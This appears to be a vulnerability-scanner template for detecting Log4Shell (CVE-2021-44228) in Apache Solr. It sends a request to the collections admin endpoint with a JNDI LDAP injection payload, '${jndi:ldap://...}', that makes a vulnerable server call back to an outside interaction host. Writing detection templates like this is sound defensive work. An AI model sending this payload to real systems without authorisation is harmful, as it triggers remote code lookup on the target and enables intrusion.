apache-solr-log4j-CVE-2021-44228.yaml

id: apache-solr-log4j-CVE-2021-44228

info:
  name: Log4j (CVE-2021-44228) Detect for Apache Solr 
  author: toramanemre
  severity: Critical

requests:
  - method: GET
    path:
      - "{{BaseURL}}/solr/admin/collections?action=${jndi:ldap://{{interactsh-url}}}&wt=json"

    headers:
      Host: "{{Host}}"

    matchers:

      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"